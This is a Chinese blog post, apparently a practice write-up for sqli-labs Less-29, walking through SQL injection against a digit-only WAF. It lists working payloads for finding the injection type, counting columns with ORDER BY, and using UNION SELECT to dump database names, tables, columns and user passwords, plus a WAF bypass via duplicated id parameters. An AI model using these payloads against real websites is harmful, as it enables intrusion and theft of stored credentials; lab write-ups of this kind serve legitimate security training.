码迷,mamicode.com
首页 > 其他好文 > 详细

Less(29)基于WAF的一个错误

时间:2020-03-01 19:53:06      阅读:70      评论:0      收藏:0      [点我收藏+]

标签:错误   data   where   concat   出现   col   一个   tables   orm   

waf是只允许输入数字的,我们在输入数字的时候先给waf看然后检测正常后才转发给我们需要访问的页面,那篇文章是有写到的,这里我弄2个值,一个是用来欺骗waf的。另一个才是给我们需要访问页面的

看一下这篇博客,http://blog.csdn.net/nzjdsds/article/details/77758824

1.先判断注入类型

  (1)输入:?id=1

    技术图片

 

 

 

  (2)输入:?id=1 and 1=2

    技术图片

 

 

     (1)(2)页面没有变化,不是数字型

  (3)输入:?id=1‘

    技术图片

 

 

   出现错误

  (4)输入:?id=1‘‘

    技术图片

 

 

     结合(3)(4)id=‘1‘

2.对列数进行判断:

  (1)输入?id=1‘ order by 3 --+

    技术图片

 

 

 

  (2)输入?id=1‘ order by 4 --+

    技术图片3.八 

    结合(1)(2),是3列

3.查看显示位,判断手注位置

  (1)输入?id=-1‘ union select 1,2,3 --+

    技术图片

 

 

     2,3为显示位,此时可在2,3位置进行手注

4.爆破

  (1)查询所有数据库:?id=-1‘ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

     技术图片

 

 

   (2)爆库:?id=-1‘ union select 1,database(),3 --+

    技术图片

   (3)爆表:?id=-1‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

    技术图片

   (4)爆列名:?id=-1‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+

      技术图片

  (5)爆值:?id=-1‘ union select 1,group_concat(username,0x7e,password),3 from security.users --+

    技术图片

 

另外还有别的方法

利用tomcat与apache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2,tomcat取得1,apache取得2

Less(29)基于WAF的一个错误

标签:错误   data   where   concat   出现   col   一个   tables   orm   

原文地址:https://www.cnblogs.com/meng-yu37/p/12391408.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!